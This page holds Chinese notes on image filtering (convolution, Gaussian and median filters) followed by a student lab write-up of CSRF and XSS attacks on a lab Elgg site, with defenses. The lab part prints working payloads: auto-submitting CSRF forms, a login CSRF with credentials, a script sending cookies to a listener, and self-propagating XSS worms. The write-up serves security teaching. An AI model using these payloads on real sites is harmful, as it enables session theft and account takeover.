摘要

滤波作为计算机视觉中常见的一种操作,一般用于降噪、边缘提取等操作。滤波一般通过卷积操作完成,根据需要可以定制卷积核,实现均值/高斯/中值滤波。

卷积操作

卷积操作的示意图如下,给定卷积核g和图像f,卷积后的图像表示为

$$ (f*g)[m,n] = \sum_{k,l}f[m-k,n-l]g[k,l] $$

根据上述公式中的负号,卷积核实际使用时,是将核上下左右翻转后再作用在图像f上。当然这个操作在实际编程时已经被淡化,只不过卷积定义要求了负号(翻转)

image-20230704192841255

卷积具有两个特性:

  • Linearity,即$filter(f_1+f_2) = filter(f_1)+filter(f_2)$
  • Shift invariance,即$filter(shift(f)) = shift(filter(f))$

以上两个性质说明任何具有平移不变性的线性操作都可以用卷积操作表示。除此之外,卷积操作还满足交换律、结合律、分配律、数乘等操作。

卷积操作会改变图像的大小(联想deep learning中卷积层的padding),那么如何填充原始图像,保证结果图像和原图保持大小一致就是一个值得思考的问题。具体来说,可以通过填充0值、边缘复制、镜面反射等操作实现填充。

image-20230704193510202

卷积核定制

图像平移

下图是最简单的卷积核,输出与原图保持一致。其中黑边是padding。

image-20230704193629550

如果改变1的位置,那么会起到平移的作用,如下图。

image-20230704193731468

图像模糊(blur)

如果采用全1卷积核,那么中心点的像素值会是一个范围内像素值的平均,从而达到模糊的效果。1/9是为了保证整个卷积核的权重和为1,控制亮度。

image-20230704193758401

如果使用如下两个卷积核相减,最后会得到锐化后的图像。因为原图减去模糊后的图像,会使边缘更加清晰。第一个卷积核中心值为2是为了保证卷积核相减后权值仍为1。

image-20230704193942319

一个更具体的锐化例子如下。

image-20230704194056527

高斯模糊

如果使用传统模糊卷积核,会出现振铃现象,即模糊后的图像会出现线条。

image-20230704194213379

为了抵御这种现象,提出了高斯卷积。事实上,高斯卷积几乎在所有需要平滑的地方都会出现。高斯核中的权值计算如下,权重是和中心点距离有关的函数,距离中心点越远,对应的权值越小。当然最后结果需要归一化,保证高斯核权重和为1。

image-20230704194253843

高斯核有两个参数,高斯核大小与标准差$\sigma$。一般两者大小关系采用$3\sigma$原则。

image-20230704194522910

高斯卷积首先可以滤掉图像的高频部分,相当于低通滤波器。

其次卷积本身是另一种高斯,这句话理解为:两个高斯核的作用可以用一个更大的高斯核作用等效替代,例如执行两次标准差为$\sigma$的高斯模糊操作后,等效于执行一次标准差为$\sqrt 2 \sigma$的高斯模糊。

最后为了加速运算,可以使用两次一维高斯模糊操作来代替一次二维高斯模糊。这样时间复杂度就从$O(n^2m^2)->O(n^2m)$

image-20230704195020371

噪声

噪声分为椒盐噪声、脉冲噪声、高斯噪声三种。

image-20230704195155537

高斯噪声可以使用高斯模糊来去除,标准差越大,去噪越明显,不过图像也越模糊。

image-20230704195306762

中值滤波

而对于椒盐噪声,高斯模糊效果就不是很好。因为高斯说白了还是平滑,但是椒盐噪声有很多突兀的像素点。这个时候使用中值滤波效果可能会更好。具体来说,该点像素值等于核中像素值序列的中间值。

image-20230704195427959

锐化的形式化表示

锐化的形式化表示如下图,最后得到的卷积核是拉普拉斯高斯。image-20230704195522973

因为在正文里嵌了单独的一个<script>标签,导致了对自己网站的XSS攻击,悲

image-20230608110930812

CSRF GET

①基于GET请求的CSRF攻击,需要实现Alice在不经意间加Samy好友的功能。首先通过HTTP Header抓取正常的加好友请求,可以看到这是一个形如http://www.csrflabelgg.com/action/friends/add?friend=xx的GET请求

image-20230605194703310

②xx为所加好友的编号,这里samy的编号45可以通过另外一个账号如Boby对Samy发起好友申请查看,如下图

image-20230605194724707

②接下来修改www.csrflabattacker.com的主页,首先修改/etc/apache2/sites-available/000-default.conf文件,添加DirectoryIndex字段,设置主页为index.html

image-20230605194930060

index.html的内容如下,通过img字段发送GET请求,因为这个时候Alice与Elgg保持会话,所以这个请求发送时会附带Alice的cookie,从而使Alice添加Samy为好友.

<html>
    <head>
        <body>
            <img hidden="true" src="http://www.csrflabelgg.com/action/friends/add?friend=45" />
        </body>
    </head>
</html>

④通过邮件发送www.csrflabattacker.com这个攻击网址给Alice

image-20230605195831144

⑤Alice受到带有网址的邮件,如果点击,则会触发主页中的img请求

image-20230605200035912

⑥抓包发现Alice确实发送了加好友请求

image-20230605200545371

⑦此时Alice已经添加Samy为好友!

image-20230605200604766

CSRF POST

①使用POST请求修改Alice的主页,首先使用一个账号正常修改主页,抓包查看正常的报文及其字段

image-20230605212937763

②可以看到修改报文附带以下字段,其中description字段控制着主页内容

image-20230605213131639

③根据以上信息使用javascript构造POST请求,具体内容如下.fields变量存储上以上这些字段的input标签.将这个脚本写入www.csrflabattacker.com的主页中

<html>
<img hidden="true" src="https://typora-img-1311051873.cos.ap-beijing.myqcloud.com/typora/202303221053311.jpg" />

<body>
    <script type="text/javascript">
        function csrf_hack() {
            var fields;
            fields += "<input type='hidden' name='name' value='Alice'>";
            fields += "<input type='hidden' name='description' value='hacked by U202012007 Jie Huang'>";
            fields += "<input type='hidden' name='location' value=''>";
            fields += "<input type='hidden' name='accesslevel[location]' value='2'>";
            fields += "<input type='hidden' name='guid' value='42'>";
            fields += "<input type='hidden' name='accesslevel[description]' value='2'>";
            fields += "<input type='hidden' name='briefdescription' value=''>";
            fields += "<input type='hidden' name='accesslevel[briefdescription]' value='2'>";
            var url = "http://www.csrflabelgg.com/action/profile/edit";
            var p = document.createElement("form");
            p.action = url;
            p.innerHTML = fields;
            p.target = "_self";
            p.method = "post";
            document.body.appendChild(p);
            p.submit();
        }
        window.onload = function () { csrf_hack(); }
    </script>
</body>
</html>

④同样发邮件给Alice,Alice点击后触发POST请求

image-20230605214203986

⑤此时查看主页,已经被篡改!

image-20230605214246453

login CSRF

④login CSRF主要实现了账号的顶替,首先正常登录,查看正常的login报文,login报文附带了username,password,persistent等信息.

image-20230605214709281

⑤这里可以不需要JavaScript构建post表单,直接通过网页控制台就可以查看登录界面元素,定位登录表单,把这整个复制下来即可

image-20230605215621194

⑥复制下来的表单如下,在usernamepassword字段填入Samy的账号密码.最后写一个script用于表单发送出去.以下就是主页内容

<form method="post" action="http://www.csrflabelgg.com/action/login" class="elgg-form-login elgg-form">
    <fieldset><input name="__elgg_token" value="roMNct_LB7fLv_dXiu-3SA" type="hidden"><input name="__elgg_ts"
            value="1685972950" type="hidden">
        <div>
            <label>Username or email <input value="samy" name="username" autofocus="autofocus" required="required"
                    class="elgg-input-text" type="text"> </label>
        </div>
        <div>
            <label>Password <input value="seedsamy" autocapitalize="off" autocorrect="off" name="password" required="required"
                    class="elgg-input-password" type="password"> </label>
        </div>
        <div class="elgg-foot">
            <label class="mtm float-alt">
                <input name="persistent" value="true" type="checkbox">
                Remember me </label>

            <input value="Log in" class="elgg-button-submit elgg-button" type="submit">
            <ul class="elgg-menu elgg-menu-login elgg-menu-general elgg-menu-hz mtm elgg-menu-login-default">
                <li class="elgg-menu-item-register"><a href="http://www.csrflabelgg.com/register"
                        class="elgg-menu-content registration_link">Register</a></li>
                <li class="elgg-menu-item-forgotpassword"><a href="http://www.csrflabelgg.com/forgotpassword"
                        class="elgg-menu-content forgot_link">Lost password</a></li>
            </ul>
        </div>
    </fieldset>
</form>
<script>
    document.forms[0].submit();
</script>

⑦同样是发邮件给Alice,附带攻击网址

image-20230605215955651

⑧Alice点击后,画面闪过登录表单界面,随后发现成功登陆上Samy的账号!

image-20230605220029203

CSRF 防御

①CSRF防御可以开启gatekeeper,即使用安全令牌和时间戳来防止跨站脚本攻击.开启方式是修改/var/www/CSRF/Elgg/vendor/elgg/elgg/engine/classes/Elgg/ActionService.php中的gatekeeper函数,注释掉开始的永真判断.

image-20230605220637233

②开启防御后,login CSRF失效,因为我们使用的时间戳和token都是samy正常登录留下的,由Samy当时的会话,时间戳决定token.而Alice与Elgg的会话ID肯定与Samy和Elgg的会话ID不同,那么肯定会验证失败.所以无法登录

形式化来说, $token = func(time,id)$,$func(time_,id_{samy})\neq func(time,id_{alice})$

image-20230605223135814

③POST请求因为没有附带时间戳和token信息而被直接拒绝

image-20230605222234888

image-20230605222259823

④GET CSRF攻击同理,没用两个字段从而被拒绝操作

image-20230605222932156

⑤如果要查看Alice自己的token也容易实现,就如之前得到Samy的token一样.通过抓包Alice的登录报文即可

XSS COOKIE

①通过XSS攻击得到Alice的COOKIE,首先Samy在主页填入以下脚本信息,脚本内容是通过img标签触发get请求,从而将自身的cookie作为c字段发送给localhost的12007端口.这里因为在同一台机子上使用localhost即可,否则应该是攻击者的主机IP地址

<script>document.write('<img src=http://localhost:12007?c=' + escape(document.cookie) + ' >');  </script>

②Samy将这段脚本填入brief description

image-20230605232536765

③攻击者打开终端开始监听,Alice如果点开Samy主页,脚本就会被解析运行,从而将cookie发送.在监听终端可以看到Alice的cookie

image-20230605232757447

④对比监听终端受到的cookie和浏览器控制台存放的cookie,一致

image-20230605232912032

XSS AJAX

①AJAX攻击可以用来篡改主页,通过JavaScript脚本发送HttpRequest来篡改网页.脚本内容与先前的CSRF POST基本一致,不过更加隐蔽一点,不需要用户点击恶意网站.

image-20230605234355328

②脚本内容如下,主要是description字段

<script type="text/javascript">
    window.onload = function () {
    var token = "__elgg_token=" + elgg.security.token.__elgg_token;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var name = "&name=" + elgg.session.user.name;
    var desc = "&description=" + "Samy is my hero hacked by U202012007 Jie Huang" +
    "&accesslevel[description]" + "2";
    var guid = "&guid=" + elgg.session.user.guid;
    var content = token + ts + name + desc + guid
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
        if (elgg.session.user.guid != 47) {
            var Ajax = new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);
            Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script> 

③脚本填入About me中,记得使用html进行编辑,否则脚本会被解析成普通文字

image-20230605233851110

④Alice访问攻击者主页,通过HttpHeader可以看到Alice发送了修改主页请求

image-20230605233956321

⑤查看主页,已经被篡改!

image-20230605234755746

XSS Worm DOM

①XSS蠕虫攻击在修改主页的基础上,将恶意代码也拷贝到了受害者主页.从而将危害进一步传播.如果使用DOM的方法,直接在先前的脚本中添加以下一部分内容.这部分内容可以将恶意代码本身也复制到受害者的主页.具体来说,通过getElementById("worm")获取当前恶意脚本代码本身,然后再构造description时附带这部分wormcode即可.类似递归的概念(虽然不是),篡改的内容除了恶意标语还有篡改代码本身,这主要是DOM解析特性决定的(如果没记错应该会先解析DOM树,然后在执行script).

.....
var headerTag = "<script id=\"worm\" type=\"text/javascript\">";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);  
.......
var desc = "&description=" + "SAMY is MY HERO Hacked by U202012007" + wormCode;
......

②Alice点开Samy主页后,About me被篡改

image-20230605235705397

③Alice主页的html部分也被附带上了恶意代码

image-20230605235648731

④如果Boby点开Alice主页,同样主页会被篡改

image-20230605235736594

⑤同样Boby主页也被附带恶意代码,证明蠕虫攻击的效果

image-20230605235749956

XSS WORM LINK

①LINK方式比DOM方式更加简洁,首先把恶意脚本放入js文件中,wormcode(附加恶意代码)此时直接使用一个script标签引用这个js文件即可.

// worm.js in /var/www/CSRF/Attacker
window.onload = function() {
        var wormCode = encodeURIComponent("<script type=\"text/javascript\" " +"id = \"worm\" " +"src=\"http://www.csrflabattacker.com/worm.js\">" +"</" + "script>");
        var token = "__elgg_token=" + elgg.security.token.__elgg_token;
        var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
        var name = "&name=" + elgg.session.user.name;
        var desc = "&description=" + "SAMY is MY HERO Hacked by U202012007" + wormCode;
        desc += "&accesslevel[description]=" + "2";
        var guid = "&guid=" + elgg.session.user.guid;
        var content = token + ts + name + desc + guid;
        var sendurl="http://www.xsslabelgg.com/action/profile/edit";
    
        if (elgg.session.user.guid != 47) {
            var Ajax = new XMLHttpRequest();
            Ajax.open("POST", sendurl, true);
            Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
}

②此时在主页只需要写一个script标签引入刚刚写的js文件即可

<script type="text/javascript" id="worm" src="http://www.csrflabattacker.com/worm.js">
</script>

image-20230606000656495

③查看Samy主页,发现worm.js确实被解析.接下来的攻击效果与DOM一致

image-20230606001123434

④ALICE的主页会被篡改

image-20230606001148292

⑤主页html部分也会附带恶意脚本

image-20230606001200937

XSS 防御

①第一种XSS防御是HTMLawed,通过管理员打开

image-20230606094445790

②打开后HTMLawed,恶意脚本的\<script\>标签会被脱掉,从而无法完成正常的script解析与执行.

image-20230606094937906

③另一种防御是PHP内置的方法 htmlspecialchars(),可以修改/var/www/XSS/Elgg/vendor/elgg/elgg/views/default/ output/这个目录下的

text.php,url.php,dropdown.php,email.php来开启这个功能.

image-20230606095933099

④开启后,它会对用户输入中的特殊字符进行编码,例如将"<"转换为"\&lt" ,">"转换为"\&gt",如下图所示

image-20230606095907727